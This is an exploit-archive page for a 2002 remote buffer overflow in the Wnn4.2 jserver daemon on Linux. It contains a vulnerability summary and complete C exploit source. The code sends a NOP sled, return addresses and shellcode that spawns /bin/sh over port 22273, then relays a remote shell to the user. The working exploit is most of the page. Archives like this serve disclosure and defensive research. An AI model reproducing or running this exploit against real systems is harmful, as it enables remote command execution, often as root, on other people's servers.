header-logo
Suggest Exploit
vendor:
Wnn4.2
by:
UNYUN
7.5
CVSS
HIGH
Remote Buffer Overflow
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: Wnn4.2
Affected Version From: Wnn4.2
Affected Version To: Wnn4.2
Patch Exists: YES
Related CWE: N/A
CPE: a:wnn_project:wnn4.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2002

Wnn4.2 / jserver remote buffer overflow exploit for Linux

A remote buffer overflow exists in the Asian language servers portion of a number of different implementations of Wnn. It has been reported that only systems that have WorldView Japanese, Korean, and Chinese installed are vulnerable to this issue. An overflow exists when the server receives a long string with a Wnn command, such as JS_OPEN, JS_MKDIR or JS_FILE_INFO included. By creating a buffer containing machine executable code, it is possible to cause a remote system running the jserver daemon to execute arbitrary commands as the user the daemon is running as.

Mitigation:

Ensure that all user-supplied input is validated and sanitized before being used in any system operations.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/1603/info

A remote buffer overflow exists in the Asian language servers portion of a number of different implementations of Wnn. It has been reported that only systems that have WorldView Japanese, Korean, and Chinese installed are vulnerable to this issue. Wnn is a Kana-Kanji translation system, most commonly used for foreign language support in Unix systems.

An overflow exists when the server receives a long string with a Wnn command, such as JS_OPEN, JS_MKDIR or JS_FILE_INFO included. By creating a buffer containing machine executable code, it is possible to cause a remote system running the jserver daemon to execute arbitrary commands as the user the daemon is running as. This is frequently root.

/*=============================================================================
   Wnn4.2 / jserver remote buffer overflow exploit for Linux
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <ctype.h>
#include <unistd.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>

#define TARGET_PORT 22273
#define COMMAND     0x01
#define VERSION     0x4000
#define MAXBUF      800
#define STR1_SIZE   10
#define NOP         0x90
#define RET         0xbffffcb4
#define ADJUST      3

char *shellcode =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
"\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
"\xe8\xd9\xff\xff\xff/bin/sh";

void putint(sockfd,c)
int sockfd,c;
{
    unsigned char tmp[4];

    tmp[0]=(c >> (8 * 3))&0xff;
    tmp[1]=(c >> (8 * 2))&0xff;
    tmp[2]=(c >> (8 * 1))&0xff;
    tmp[3]=c&0xff;
    write(sockfd,tmp,4);
}

void term (int p, int c)
{
    char    buf[1032];
    fd_set  rfds;
    int     i;

    while(1){
        FD_ZERO (&rfds);
        FD_SET (p, &rfds);
        FD_SET (c, &rfds);
        if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1) return;
        if (FD_ISSET (c, &rfds)){
            if ((i = read (c, buf, sizeof (buf))) < 1) exit (0);
            else write (p, buf, i);
        }
        if (FD_ISSET (p, &rfds)){
            if ((i = read (p, buf, sizeof (buf))) < 1) exit (0);
            else write (c, buf, i);
        }
    }
}
main(int argc,char *argv[])
{
    int                 sockfd,i;
    struct in_addr      addr;
    struct sockaddr_in  target;
    struct hostent      *hs;
    char                buf[MAXBUF];

    if (argc<2){
        printf("usage : %s TargetHost\n",argv[0]);
        exit(1);
    }
    sockfd=socket(AF_INET, SOCK_STREAM, 0);
    target.sin_family=AF_INET;
    target.sin_port=htons(TARGET_PORT);
    if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if ((hs=gethostbyname(argv[1]))==NULL){
            printf("Can not resolve specified host.\n");
            exit(1);
        }
        target.sin_family = hs->h_addrtype;
        memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
        printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT);
        exit(1);
    } 
    putint(sockfd,COMMAND);
    putint(sockfd,VERSION);

    memset(buf,NOP,MAXBUF);
    printf("Jumping Address=%x\n",RET);
    for (i=100+ADJUST;i<400+ADJUST;i+=4){
        buf[i+3]=(RET>>24)&0xff;
        buf[i+2]=(RET>>16)&0xff;
        buf[i+1]=(RET>>8)&0xff;
        buf[i+0]=RET&0xff;
    }
    buf[STR1_SIZE]=0;
    buf[MAXBUF-1]=0;
    memcpy(buf+600+ADJUST,shellcode,strlen(shellcode));
    write(sockfd,buf,MAXBUF);
    printf("Connected to %d\n",TARGET_PORT);
    term(sockfd,0);
}